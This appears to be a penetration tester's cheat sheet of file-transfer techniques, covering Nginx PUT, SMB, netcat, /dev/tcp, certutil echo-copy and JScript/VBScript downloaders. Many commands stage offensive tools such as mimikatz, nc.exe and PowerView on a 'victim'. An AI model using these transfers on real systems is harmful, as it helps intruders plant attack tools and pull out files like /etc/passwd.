HTTP/SMB/Nginx/Web Servers/Netcat

A good alternative for transferring files to Apache is NGINX because it is configuration is less complicated, and the module system does not lead to security issues like Apache can do.

Nginx Enable PUT

# 1-Create a directory to handle uploaded files
sudo mkdir -p /var/www/uploads/SecretUploadDirectory

# 2-Change the owner to www-data
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory

# 3-Create the NGINX Configuration file, by creating the file /etc/nginx/sites-available/upload.conf with the contents:

server {
	listen 9001;
	
	location /SecretUploadDirectory/ {
		root	/var/www/uploads;
		dav_methods	PUT;
	}
}

# 4-Symlink our site to the sites-enabled directory.
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/

# Start Nginx
sudo systemctl restart nginx.service

# IF ANY ERROS OCCURS check /var/log/nginx/error.log
# if we see there is already a module listening on port 80 remove default nginx conf
sudo rm /etc/nginx/sites-enabled/default


# we can then test upload by using cuurl and put 
curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt
tail -1 /var/www/upload/SecretUploadDirectory/users.txt 

SMB

Impacket SMBServer

/usr/share/doc/python3-impacket/examples/smbserver.py -smb2support <share name> <location>
#Test it 
sudo smbclient -L 127.0.0.1

In some cases, computers will not allow anonymous SMB connections. In this case, we may want to use the user/password flags to allow authentication on our SMB server. This can be done with the following command:

/usr/share/doc/python3-impacket/examples/smbserver.py -user USERNAME -password PASSWORD FileTransfer $(pwd)    

SMB / WebDAV

In case SMB traffic through the firewall has been restricted, WebDAV may be a good option, as it relies on HTTP as a transport protocol.

#PowerShell
Copy-Item -Path C:\Temp\nc.exe -Destination C:\Temp\nc.exe -ToSession $session

#Set-Content
$file = Get-Content C:\Temp\nc.exe -Raw
Invoke-Command -ComputerName 10.10.10.132 -ScriptBlock {Set-Content -Path C:\Temp\nc.exe -value $using:file}

#Copy / xcopy / robocopy
xcopy \\10.10.10.132\share\nc.exe nc.exe
copy C:\Temp\nc.exe \\10.10.10.132\c$\Temp\nc.exe

#Map / Mount Drives
net use Q: \\10.10.10.132\share
mklink /D share \\10.10.10.132\share
--------    
smbclient //10.10.10.132/share -U username -W domain

Web Servers

#Python2
python -m SimpleHTTPServer 8080

#Python3
python3 -m http.server 8080

#Ruby
ruby -run -ehttpd . -p8080

#PHP
php -S 0.0.0.0:8080

#Socat
socat TCP-LISTEN:8080,reuseaddr,fork
#With administrative access to a Windows machine, IIS can be easily installed.
PS C:\> Add-WindowsFeature Web-Server, Web-Mgmt-Tools

Netcat

Basic nc

Connection Initiated by Pentester

# VICTIM TARGET
nc -nlvp 8000 > mimikatz.exe

# ATTACKER MACHINE
nc -nv 10.10.10.132 8000 <mimikatz.exe

Connection Initiated by Victim/TargeT

# ATTACKER MACHINE
nc -nv 10.10.10.32 8000 > mimikatz.exe

# VICTIM
nc -nlvp 8000 <mimikatz.exe

Using /dev/tcp device file

#Start listener
nc -lvnp 80 <LinEnum.sh
#Download the file
 cat < /dev/tcp/10.10.10.32/80 > LinEnum.sh

SCP

OpenSSH server can be enabled using this procedure. On older Windows systems, the PuTTY Secure Copy client (pscp.exe) can be used.

#Upload
PS> scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip
#Download
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe

FTP

Ftp-script.txt

open <IP>
anonymous
anonymous
lcd C:\Temp
get nc.exe
quit

FTP Transfer

ftp -s:ftp-script.txt

TFTP

The TFTP client is not available by default in Windows, but it can be enabled using DISM. \

PS C:\> DISM /online /Enable-Feature /FeatureName:TFTP

In newer versions of Windows, the Install-WindowsFeature PowerShell cmdlet can also be used. Both DISM and Install-WindowsFeature require administrative access.

PS C:\> Install-WindowsFeature TFTP-Client

RDP

Remote Desktop is often enabled on Windows machines, and from Linux, rdesktop can be used to expose a local folder in the remote RDP session.

rdesktop 10.10.10.132 -r disk:linux='/home/user/rdesktop/files'

After selecting the drive, we can interact with it in the remote session as follows:

copy \\tsclient\c\temp\mimikatz.exe .

Echo Copy

On machines with a very stringent lockdown policy, it may be necessary to echo copy files.

Echo copying files is very inefficient and can result in a large amount of data being transferred across the clipboard, so we can use an executable packer such as UPX to make the source file as small as possible.

upx --best nc.exe


c:\> upx.exe --best nc.exe
 Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     59392 ->     29696   50.00%    win32/pe     nc.exe                        

Packed 1 file.

Next, we need to convert the binary data to base64. Windows contains a native utility that can do this - certutil.

PS C:\> certutil.exe -encode nc.exe nc.txt

Open the resulting text file in a text editor that supports the replacement of extended characters (\n \r \t \0 \x...), such as Notepad++. Replace newlines with echo ".

Find:\n
Replace:echo "

The first line doesn’t contain this, so we can manually prepend echo " to the first line. Next, we replace with " >> nc.txt.

FTP Transfer

Find:\r
Replace:" >> nc.txt

If the last line has an echo " on its own, remove it.

Next, copy all the text, and paste it into the shell, pressing enter if needed on the last command. This time, use the -decode certutil switch to convert the base64 text back to binary.

PS C:\htb> certutil.exe -decode nc.txt nc.exe
PS C:\htb> cmd /c "nc.exe -h 2>&1"

OpenSSL base64

#Encryption
openssl.exe enc -base64 -in nc.exe -out nc.txt
#Decryption
openssl.exe enc -base64 -d -in nc.txt -out nc.exe

JavaScript

The following JavaScript, based on this post, can be used.

Code: javascript

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

It can be executed as follows.

Decryption

PS C:\htb> cscript /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

VBScript

VBScript

The following VBScript, based on this post can be used.
Code: vbscript

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

It can be executed as follows.
Decryption

PS C:\htb> cscript /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

Last updated